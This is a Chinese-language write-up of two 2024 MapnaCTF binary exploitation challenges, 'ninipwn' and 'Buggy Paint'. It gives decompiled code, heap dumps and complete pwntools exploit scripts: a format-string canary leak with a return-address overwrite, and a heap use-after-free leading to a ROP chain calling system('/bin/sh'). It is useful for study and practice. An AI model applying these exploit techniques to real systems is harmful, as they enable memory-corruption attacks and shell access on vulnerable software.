2024MapnaCTF-pwn


比赛期间在打春秋杯,赛后复现

ninipwn

保护全开

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

漏洞点在于格式化字符串、强制类型转换、变量溢出,存在后门函数win,覆盖返回地址的低位为win即可

void __fastcall encryption_service()
{
  char text[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  printf("Text length: ");
  __isoc99_scanf("%d", &text_length);
  getchar();
  if ( (unsigned int)text_length < 0x101 )
  {
    printf("Key: ");
    read(0, key, 0xAuLL);
    printf("Key selected: ");
    printf(key);		//fmt
    putchar(10);
    printf("Text: ");
    read(0, text, text_length);
    encrypt(text);
    printf("Encrypted output: ");
    write(1, text, text_length);
  }
  else
  {
    puts("Text length must be less than 256");
  }
}

格式化字符串可以用来泄露canary绕过保护控制返回地址,限制text_length0x100,但是过了if判断之后可以通过key溢出到text_lenght来达到增加长度的目的,encrypt函数中要求输入内容长度与text_length相同,在encrypt函数中会讲输入的内容与key进行异或

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'Text length:', str(4294967296))
key = b'%39$p' + b'\x00' * 3 + b'\x19\x01' 
r.sendafter(b'Key: ', key)

r.recvuntil(b'0x')
canary = int(r.recv(16), 16)

canary_bytes = canary.to_bytes(8, byteorder='little')
p = bytearray(b'\x00' * 0x108 + canary_bytes + b'\x00' * 0x8 + b'\x33') 

for i in range(len(p)):
    p[i] ^= key[i % 8]

r.sendlineafter(b'Text:', p)

r.interactive()

Buggy Paint

glibc 2.35的堆题,保护全开

add中内容比较多, 需要注意的有两点,一个是color地址在bss段,和代码段存在固定偏移,一个是堆管理中存在堆地址

		unsigned __int64 add()
{
  ...
      else
      {
        heap_ptr = (heap *)malloc(0x30uLL);
        heap_ptr->x = x;
        heap_ptr->y = y;
        heap_ptr->width = width;
        heap_ptr->height = height;
        if ( color == 1 )
          color_code = "\x1B[31m";
        else
          color_code = "\x1B[32m";
        heap_ptr->color = (__int64)color_code;
        *(_QWORD *)&heap_ptr->ptr = malloc(width * height);
        memset(*(void **)&heap_ptr->ptr, 0, height * width);
        printf("content: ");
        read(0, *(void **)&heap_ptr->ptr, height * width);
        heap_manager[32 * x + y] = heap_ptr;
      }
    ...
}

漏洞出现在delete中,存放堆内容的释放部分有uaf漏洞,指针未清零

unsigned __int64 delete()
{
  ...
    if ( heap_manager[32 * x + y] )
    {
      free(*(void **)(heap_manager[32 * x + y] + 40LL));// uaf
      free((void *)heap_manager[32 * x + y]);
      heap_manager[32 * x + y] = 0LL;
    }
    ...
}

有一个selete函数,将选中的堆地址放入bss段,deleteedit都是基于这个变量中的地址,但是堆删除之后也不影响对选中这个地址进行操作

unsigned __int64 selete()
{
  ...
  if ( x <= 0x1F && y <= 0x1F )
  {
    if ( heap_manager[32 * x + y] )
      seleted_ptr = heap_manager[32 * x + y];
    else
      puts("Empty cell");
  }
  ...
}

所以本题的利用思路就是泄露堆基址、libc地址、程序基址、栈地址,最后将栈的返回地址劫持为system('/bin/sh')

先创建堆看堆的内部结构

add(0, 0, 8, 2, 1, b'a')
pwndbg> x/20gx 0x55fdf3398290
0x55fdf3398290: 0x0000000000000000      0x0000000000000041
0x55fdf33982a0: 0x0000000000000000      0x0000000000000000	#x | y
0x55fdf33982b0: 0x000055fdf2c1c07d      0x0000000000000008	#color_addr in bss | width
0x55fdf33982c0: 0x0000000000000002      0x000055fdf33982e0	#height | heap_ptr

0x55fdf33982d0: 0x0000000000000000      0x0000000000000021	#size = width * height
0x55fdf33982e0: 0x0000000000000a61      0x0000000000000000	#content 
0x55fdf33982f0: 0x0000000000000000      0x0000000000020d11

泄露堆基址:tcache bin中第一个被释放的堆fd就是堆基址,由于高版本存在key所以本题中fdkey,选中这个堆,删除再show即可得到key,再左移12位得到堆基址

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5560820632d0
Size: 0x20 (with flag bits: 0x21)
fd: 0x556082063

泄露程序基址:堆管理中存在color_addr,就是程序中的一个地址,将heap_ptr改成堆中指向color_addr的地址,在输出content的时候就会输出该堆地址中的color_addr的地址,通过计算即可得到程序基址

创建两个堆,其中保存内容的堆大小要和堆管理的大小不同,选择第一个堆,将两个堆删除之后创建一个堆,坐标同第一个堆,大小(即width*height)同堆管理,这样就实现了伪造堆管理,创建的堆的堆管理落在第二个堆的堆管理上而存储内容的堆落在第一个堆的堆管理上。伪造heap_ptrcolor_addr即可

pwndbg> x/20gx 0x5622d0d28290
0x5622d0d28290: 0x0000000000000000      0x0000000000000041	#heap1
0x5622d0d282a0: 0x0000000000000000      0x0000000000000000
0x5622d0d282b0: 0x00005622d0d28000      0x0000000000000008
0x5622d0d282c0: 0x0000000000000001      0x00005622d0d28310	#content_ptr
0x5622d0d282d0: 0x0000000000000000      0x0000000000000021
0x5622d0d282e0: 0x00000005622d0d28      0xa50b92a104492f29
0x5622d0d282f0: 0x0000000000000000      0x0000000000000041	#heap2
0x5622d0d28300: 0x0000000000000000      0x0000000000000000
0x5622d0d28310: 0x00005622cff2d07d      0x0000000000000008	<--target
0x5622d0d28320: 0x0000000000000006      0x00005622d0d282a0
0x5622d0d28330: 0x0000000000000000      0x0000000000000021
0x5622d0d28340: 0x00005627b2ff8fc8      0xa50b92a104492f29
0x5622d0d28350: 0x0000000000000000      0x0000000000020cb1

此时得到程序基址,即可计算出got地址,然后故技重施得到libc地址,再通过environ得到栈地址

最后劫持main函数的程序流为system('/bin/sh'),但直接改成p64(pop_rdi_ret) + p64(bin_sh) + p64(system)会报错,所以要改成p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdi_ret + 1) + p64(system)menu中输入1-5以外的任何数触发default中的return 0即可运行到劫持部分

exp如下:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(x, y, width, height, color, content):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'x: ', str(x))
    r.sendlineafter(b'y: ', str(y))
    r.sendlineafter(b'width: ', str(width))
    r.sendlineafter(b'height: ', str(height))
    r.sendlineafter(b'color(1=red, 2=green): ', str(color))
    r.sendlineafter(b'content: ', content)

def select(x, y):
    r.sendlineafter(b'> ', str(3))
    r.sendlineafter(b'x: ', str(x))
    r.sendlineafter(b'y: ', str(y))

def edit(content):
    r.sendlineafter(b'> ', str(4))
    r.sendlineafter(b'New content: ', content)

def show():
    r.sendlineafter(b'> ', str(5))

def delete(x, y):
    r.sendlineafter(b'> ', str(2))
    r.sendlineafter(b'x: ', str(x))
    r.sendlineafter(b'y: ', str(y))

add(0, 0, 8, 2, 1, b'a')
add(0, 1, 8, 2, 1, b'a')

select(0, 0)
delete(0, 0)

show()
r.recvuntil(b'Box content:\n')
heap_base = u64(r.recv(5).ljust(8, b'\x00')) << 12
delete(0, 1)
p = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(heap_base + 0x310)
add(0, 0, 8, 6, 1, p)

show()
r.recvuntil(b'Box content:\n')
elf_base = u64(r.recv(8)) - 0x207d
puts_got = elf.got['puts'] + elf_base

delete(0, 0)
p1  = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(puts_got)
add(0, 0, 8, 6, 1, p1)
show()

puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('./libc.so.6')
libc_base = puts_addr - libc.sym['puts']

delete(0, 0)
environ = libc_base + libc.sym['__environ']
p1 = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x1) + p64(environ)
add(0, 0, 8, 6, 1, p1)

show()
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
pop_rdi_ret = libc_base + 0x2a3e5

delete(0, 0)
p1 = p64(0) + p64(0) + p64(heap_base) + p64(0x8) + p64(0x4) + p64(stack_addr)
add(0, 0, 8, 6, 1, p1)

bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
system = libc_base + libc.sym['system']
p = p64(pop_rdi_ret) + p64(bin_sh) + p64(pop_rdi_ret + 1) + p64(system)
edit(p)

r.sendlineafter(b'>', b'0')
r.interactive()

Protector


  目录